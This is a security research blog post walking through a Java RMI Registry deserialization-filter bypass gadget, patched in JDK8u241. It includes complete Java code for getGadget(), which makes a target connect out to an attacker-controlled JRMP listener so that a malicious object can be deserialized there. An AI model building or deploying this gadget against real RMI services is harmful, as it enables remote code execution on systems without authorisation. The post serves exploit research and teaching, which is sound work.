An Trinhs RMI Registry Bypass

A closer look at the RMI Registry whitelist bypass gadget from An Trinhs Blackhat Europe 2019 presentation

Posted by Hans-Martin Münch on 8 Feb 2020 | Tags: Java RMI deserialization Gadgets pentest penetration-test

TL:DR: This blog entry analyses the RMIRegistry whitelist filter bypass gadget discovered by An Trinh (@_tint0) in the RMI naming registry. It covers some basic concepts that are commonly used when building deserialization gadgets. With the help of this gadget it is possible to exploit deserialization vulnerabilities in the RMI registry, even if the target is running a current version of Java/OpenJDK.

Update: This bypass has been fixed by Oracle in JDK8u241 which was released on January 14. Thanks für MR_ME for pointing out.

The gadget is not complex, so it serves as a good example to explain how gadget chains work internally. We assume that the reader has basic knowledge of Java RMI and Java deserialization vulnerabilities. Our blog article “Attacking Java RMI services after JEP 290” provides a general overview of RMI and its components.

Acknowledgements

As already mentioned, this bypass was not discovered by ourselves but by An Trinh. Additionally this post contains a lot of Java exploitation wizardy, which I learned by watching Matthias Kaiser while working together at our former employer.

Introduction

In addition to gadget chains, the ysoserial toolkit also provides a set of exploits for services that deserialize native Java objects. One of these exploits targets the RMI Naming Registry: When the registry method “bind(name,object)” is called, a gadget chain is passed to the target system. This exploit has been a reliable supplier of shells on systems with RMI services.

The introduction of “Look ahead” deserialization in Java (via JEP 290) also included whitelist filters for the RMI registry and the Distributed Garbage Collector (DGC) which is also used by RMI. These filters killed the exploitation of these vulnerabilities (as long as the attacker had no further knowledge of the interfaces provided by the RMI service).

Both filters are whitelist filters that can be configured in the “jre/lib/security/java.security” file. The filter for the RMI Registry is configured with the setting “sun.rmi.registry.registryFilter”. The following settings are applied by default:

#
# Array construction of any component type, including subarrays and arrays of
# primitives, are allowed unless the length is greater than the maxarray limit.
# The filter is applied to each array element.
#
# The built-in filter allows subclasses of allowed classes and
# can approximately be represented as the pattern:
#
# sun.rmi.registry.registryFilter=\
#    maxarray=1000000;\
#    maxdepth=20;\
#    java.lang.String;\
#    java.lang.Number;\
#    java.lang.reflect.Proxy;\
#    java.rmi.Remote;\
#    sun.rmi.server.UnicastRef;\
#    sun.rmi.server.RMIClientSocketFactory;\
#    sun.rmi.server.RMIServerSocketFactory;\
#    java.rmi.activation.ActivationID;\
#    java.rmi.server.UID
#

In 2019 An Trinh presented his research im this field at the “Zero Nights” conference and at the Blackhat EU. In this talk he also presented a bypass gadget for the RMI Registry whitelist. His BlackHat slides as well as the presentation at the Zero Nights conference are now public.

Filter bypass via JRMP connections

Before analyzing the actual gadget, it is useful to be aware of the basic concept how the bypass actually works. An Trinhs gadget allows to create an outgoing JRMP connection to an attacker controlled system. The JRMP endpoint responds with a serialized Java object that is deserialized by the target system. The deserialization filter is only applied for incoming connections to the RMI registry, outgoing connections are not filtered.

This is not a new concept and was already used to bypass existing black-list filters in early filter libraries like SerialKiller. The ysoserial toolkit already contains a JRMPClient gadget as well as the corresponding listener.

Analyzing the gadget chain

An Trinhs presentation does not contain the actual gadget source code, however he shared the gadget chain with a few additional comments on slide 20 (I added the lines numbers here):

01: sun.rmi.server.UnicastRef.unmarshalValue()
02: sun.rmi.transport.tcp.TCPChannel.newConnection()
03: sun.rmi.server.UnicastRef.invoke()
04: java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod()
05: java.rmi.server.RemoteObjectInvocationHandler.invoke()
06: com.sun.proxy.$Proxy111.createServerSocket()
07: sun.rmi.transport.tcp.TCPEndpoint.newServerSocket()
08: sun.rmi.transport.tcp.TCPTransport.listen()
09: ...
10: java.rmi.server.UnicastRemoteObject.reexport()
11: java.rmi.server.UnicastRemoteObject.readObject()

What you’re looking at is actually a stack trace. At the top (line 01) you can see the successful outgoing connection to attacker controlled JRMP listener. The start of the chain can be found at the button (line 11) in the “readObject()” Method from the UnicastRemoteObject class. So let’s look at this code first:

private void readObject(java.io.ObjectInputStream in)
    throws java.io.IOException, java.lang.ClassNotFoundException
{
    in.defaultReadObject();
    reexport();
}

Not much code here. The “defaultReadObject()” method uses the normal deserialization to populate the object properties, after that the method “reexport” is called, which is also the second step in the gadget chain (line 10 in the stack trace):

/*
* Exports this UnicastRemoteObject using its initialized fields because
* its creation bypassed running its constructors (via deserialization
* or cloning, for example).
*/
private void reexport() throws RemoteException
{
    if (csf == null && ssf == null) {
        exportObject((Remote) this, port);
    } else {
        exportObject((Remote) this, port, csf, ssf);
    }
}

This method performs some basic checks on the class variables “csf” and “ssf” and then calls different versions of the exportObject method. So we have to take a look at the UnicastRemoteObject properties. These are the values that we can influence when we pass the serialized UnicastRemoteObject to our target:

public class UnicastRemoteObject extends RemoteServer {

    /**
     * @serial port number on which to export object
     */
    private int port = 0;

    /**
     * @serial client-side socket factory (if any)
     */
    private RMIClientSocketFactory csf = null;

    /**
     * @serial server-side socket factory (if any) to use when
     * exporting object
     */
    private RMIServerSocketFactory ssf = null;

    /* indicate compatibility with JDK 1.1.x version of class */
    private static final long serialVersionUID = 4974527148936298033L;

The interesting variables are the csf (instance of RMIClientSocketFoactory) and ssf (instance of RMIServerSocketFactory). Both SocketFactories are actually interfaces. They allow the developer to implement RMI/JRMP over a custom communication channel which (as an example) provides encryption. Oracle provides a good tutorial how to use custom socket factories.

Both interfaces only provide a single method. In the case of RMIServerSocketFactory interface, the class must implement a “createServerSocket” method. Please note that a method with this name is later called on a proxy object in the gadget chain (line 06 in the stack trace):

public interface RMIServerSocketFactory {

    /**
     * Create a server socket on the specified port (port 0 indicates
     * an anonymous port).
     * @param  port the port number
     * @return the server socket on the specified port
     * @exception IOException if an I/O error occurs during server socket
     * creation
     * @since 1.2
     */
    public ServerSocket createServerSocket(int port)
        throws IOException;
}

Creating UnicastRemoteObject objects via Reflection

Let’s use what we know so far to construct our first initial of the gadget chain. We know that we need to pass a UnicastRemoteObject to the RMIRegistry service. This object must contain some sort of handcrafted instance of RMIServerSockerFactory (in the ssf property). However, there are two problems:

  1. All constructors of UnicastRemoteObject are protected, thus we can’t just call “new” to create a object instance
  2. ssf is a private property that can’t be accessed via setter/getter functions, therefore it is not directly possible to get an existing UnicastRemoteObject and replace the ssf object.

However, we can overcome both restrictions via by using the Java Reflection API. “Reflection allows an executing Java program to examine or “introspect” upon itself, and manipulate internal properties of the program”.

We will use reflection to do the following:

  1. Get a reference to the default constructor of “UnicastRemoteObject” and making it public
  2. Use the reference to create a new UnicastRemoteObject Instance
  3. Get a reference to the private “ssf” field of the newly created instance and make it public
  4. Place our crafted object in the ssf object

Here our first version of the “getGadget()” method:


// Step 1: Get the reference to the default constructor and make it "public"
Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);

// Step 2: Create a new UnicastRemoteObject instance from the reference
UnicastRemoteObject myRemoteObject = (UnicastRemoteObject) constructor.newInstance(null);
        
// Step 3: Get the reference to the private variable "ssf" and make it public
Field privateSsfField = UnicastRemoteObject.class.getDeclaredField("ssf");
privateSsfField.setAccessible(true);

// Step 4: Place the actual object in ssf (TODO: create the actual ssf object)
privateSsfField.set(myRemoteObject, handcraftedSSF);

Please note that we could also use a different constructor which allows us to set the ssf object directly when creating a new instance. I separated these steps to make it more understandable.

Proxies and dynamic proxy classes

By looking at the gadget chain, we know that the method “createServerSocket()” will be invoked. We could now search the JRE for any classes that implement the RMIServerSocketFactory and look if their implementation of “createServerSocket()” provides some interessting side effects. However, the gadget chain is using a proxy here. To understand what this means we have to talk about the proxy design pattern first:

There is a nice pattern explanation from baelung which describes the pattern as follows: The Proxy pattern allows us to create an intermediary that acts as an interface to another resource

Let’s look at a minimal example. You might remember that the RMIServerSocketFactory allows you to create a custom transport for the RMI connection. To do this, we only need to implement one method (createServerSocket):

public interface RMIServerSocketFactory {
    public ServerSocket createServerSocket(int port)
        throws IOException;
}

Suppose we already use a class that provides a custom implementation for the RMIServerSocketFactory, which allows us to use symmetric encryption to secure the connection. We call this class EncryptedRMIServerSocket. The class works fine, however, we noticed that we regularly use the default key from that class. To prevent this, we want to implement a simple check to ensure that the default key has been changed.

This is a common use case for a proxy. We create a proxy implementation that shields the original EncryptedRMIServerSocket. As the proxy class also implements the RMIServerSocketFactory, therefore we can just pass like the original implementation.

When the createServerSocket method is invoked, we perform the check and then forward the call to the original object. This code could look like this:

public class EncryptedRMIServerSocketProxy implements RMIServerSocketFactory {

    private EncryptedRMIServerSocket myServerSocket;

    // Constructor, takes the original EncryptedRMIServerSocket as argument
    public EncryptedRMIServerSocketProxy(EncryptedRMIServerSocket serverSocket) {
        this.myServerSocket = serverSocket;
    }

    // Wrapper Implementation of the createServerSocket method 
    public ServerSocket createServerSocket(int port) throws IOException {

        // Check if the socket is using the default key, if so bail out
        if (myServerSocket.key == myServerSocket.defaultKey) {
            throw new IOException("Usage of default key is not allowed");
        }

        // call the original method
        return myServerSocket.createServerSocket(port);
    }
}

Creating such proxies by hand requires a lot of boilercode. Luckily, the Java Reflection API provides Dynamic Proxy Classes. As described in the Java Documentation:
A dynamic proxy class is a class that implements a list of interfaces specified at runtime such that a method invocation through one of the interfaces on an instance of the class will be encoded and dispatched to another object through a uniform interface.

A dynamic proxy forwards all incoming calls to the “invoke” method of an Invocation handler, passing the name of the called method as well as all arguments. The Invocation handler then forwards the code to the shielded object. This pattern is also used by Java RMI: When the client queries the RMI registry for a remote object, he actually receives a dynamic proxy class that implements the interface of requested object. The RMI invocation handler then forwards the call to the object on the remote server.

Dynamic proxies are also very useful when creating deserialization gadgets as they allow you to “redirect” the call from an abitrary interface method to the “invoke” method of the invocation handler.

To create a dynamic proxy you need to call the Proxy.newProxyInstance() method. This method takes three arguments.

  1. The ClassLoader that is to “load” the dynamic proxy class
  2. An array of interfaces to implement (we only need RMIClientSocketFactory here)
  3. An InvocationHandler to forward all methods calls on the proxy to

Here is the code how to do this, we will deal with the InvocationHandler in a minute:

RMIServerSocketFactory handcraftedSSF = (RMIServerSocketFactory) Proxy.newProxyInstance(
    // Argument 1: the ClassLoader
    RMIServerSocketFactory.class.getClassLoader(),	
    // Argument 2: the interfaces to implement
    new Class[] { RMIServerSocketFactory.class },
    // Argument 3: the Invocation handler
    myInvocationHandler);

The RemoteObjectInvocationHandler class

We now go one class up in the gadget chain and have a look at the RemoteObjectInvocationHandler class. This class implements the InvocationHandler interface and therefore can be used as a receive for our dynamic proxy class. It further extends the class RemoteObject, thus we can bypass the RMIRegistry deserialization filter.

public class RemoteObjectInvocationHandler
    extends RemoteObject
    implements InvocationHandler

The task of the RemoteObjectInvocationHandler.invoke() Method is to forward the method call from a client to the actual object on the RMI server. This is archived by creating a new outgoing JRMP connection to the server. The invoke() method will pass the call down to the invokeRemoteObject() method. The actual JRMP connection is created by calling ref.invoke(). The ref object contains the IP address/port of the remote server. The ref variable is an instance of the RemoteRef interface and contains the IP address/port of the remote server as a TCPEndpoint object.

private Object invokeRemoteMethod(Object proxy, Method method, Object[] args) throws Exception
{
    try {
        if (!(proxy instanceof Remote)) {
            throw new IllegalArgumentException("proxy not Remote instance");
        }
        return ref.invoke((Remote) proxy, method, args, getMethodHash(method));
    } catch (Exception e) {
        if (!(e instanceof RuntimeException)) {
            Class<?> cl = proxy.getClass();
            try {
                method = cl.getMethod(method.getName(), method.getParameterTypes());
            } catch (NoSuchMethodException nsme) {
                throw (IllegalArgumentException)
                    new IllegalArgumentException().initCause(nsme);
            }
            Class<?> thrownType = e.getClass();
            for (Class<?> declaredType : method.getExceptionTypes()) {
                if (declaredType.isAssignableFrom(thrownType)) {
                    throw e;
                }
            }
            e = new UnexpectedException("unexpected exception", e);
        }
        throw e;
    }
}

Please note that method checks if the proxy is an instance of the Remote class. We must therefore extend our proxy object to make sure that this condition is met.

Creating a RemoteRef instance is a quite easy task, as we can use this code which is directly taken from Moritz Bechlers JRMPClient gadget.

ObjID id = new ObjID(new Random().nextInt()); 
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

Putting everything together

We now have all pieces that we need to create the Gadget object:

  1. Create a new TCPEndpoint and UnicastRef instance. The TCPEndpoint contains the IP/port of the attacker controlled JRMPListener, the UnicastRef class implements the RemoteRef interace.
  2. Create a new instance of RemoteObjectInvocationHandler, passing the RemoteRef object in the constructor
  3. Create a dynamic proxy class that implements the classes/interfaces RMIServerSocketFactory and Remote and passes all incoming calls to the invoke method of the RemoteObjectInvocationHandler
  4. Create a new UnicastRemoteObject instance by using Reflection
  5. Make the ssf instance accessible (again by using Reflection)
  6. Set the ssf instance of the UnicastRemoteObject to our proxy

Here the actual gadget code:

public static UnicastRemoteObject getGadget(String host, int port) throws Exception {
		
    // 1. Create a new TCPEndpoint and UnicastRef instance. 
    // The TCPEndpoint contains the IP/port of the attacker
    // Taken from Moritz Bechlers JRMP Client
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry

    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef refObject = new UnicastRef(new LiveRef(id, te, false));
        
    // 2. Create a new instance of RemoteObjectInvocationHandler, 
    // passing the RemoteRef object (refObject) with the attacker controlled IP/port in the constructor
    RemoteObjectInvocationHandler myInvocationHandler = new RemoteObjectInvocationHandler(refObject);

    // 3. Create a dynamic proxy class that implements the classes/interfaces RMIServerSocketFactory 
    // and Remote and passes all incoming calls to the invoke method of the 
    // RemoteObjectInvocationHandler	
    RMIServerSocketFactory handcraftedSSF = (RMIServerSocketFactory) Proxy.newProxyInstance(
        RMIServerSocketFactory.class.getClassLoader(),	
        new Class[] { RMIServerSocketFactory.class, java.rmi.Remote.class },
        myInvocationHandler);

    // 4. Create a new UnicastRemoteObject instance by using Reflection
    // Make the constructor public
    Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
    constructor.setAccessible(true);
    UnicastRemoteObject myRemoteObject = (UnicastRemoteObject) constructor.newInstance(null);
        
    // 5. Make the ssf instance accessible (again by using Reflection) and set it to the proxy object  
    Field privateSsfField = UnicastRemoteObject.class.getDeclaredField("ssf");
    privateSsfField.setAccessible(true);

    // 6. Set the ssf instance of the UnicastRemoteObject to our proxy
    privateSsfField.set(myRemoteObject, handcraftedSSF);
        
    // return the gadget
    return myRemoteObject;	
}

Passing the gadget to the RMI registry

We now have the gadget itself, however we can’t directly send it to the RMI registry by calling the bind() method. The code of the bind stub method (or more precisely the ObjectOutput instance contained therein) will replace our gadget with a proxy object, thus the actual gadget will not be sent to the RMI registry. This behaviour is controlled by the “enableReplace” property of the “ObjectOutput” class, which we must set to false.

We can solve this by creating our own version of the stub again by using reflection, however I leave this task as an exercice to the reader. Here the code from the actual stub:

public void bind(java.lang.String $param_String_1, java.rmi.Remote $param_Remote_2)
        throws java.rmi.AccessException, java.rmi.AlreadyBoundException, java.rmi.RemoteException {
    try {
        StreamRemoteCall call = (StreamRemoteCall)ref.newCall(this, operations, 0, interfaceHash);
        try {
            java.io.ObjectOutput out = call.getOutputStream();
            out.writeObject($param_String_1);
            out.writeObject($param_Remote_2);
        } catch (java.io.IOException e) {
            throw new java.rmi.MarshalException("error marshalling arguments", e);
        }
        ref.invoke(call);
        ref.done(call);
    } catch (java.lang.RuntimeException e) {
        throw e;
    } catch (java.rmi.RemoteException e) {
        throw e;
    } catch (java.rmi.AlreadyBoundException e) {
        throw e;
    } catch (java.lang.Exception e) {
        throw new java.rmi.UnexpectedException("undeclared checked exception", e);
    }
}

It is not possible to directly create a java.io.ObjectOutput class in your own code, but you can bypass this restriction with, you guessed it, reflection. I further recommend you to use a “fastdebug” version of OpenJDK when you build the code, this makes debugging of the gadget/exploit much easier (thanks to Matthias Kaiser for pointing that out.)

One last word about JMX-RMI

One of the most common usecases for RMI is the monitoring of Java servers via JMX. Unfortunatelly this bypass gadget won’t work against jmx-rmi instances, as jmx-rmi services uses a different RMIRegistry implementation.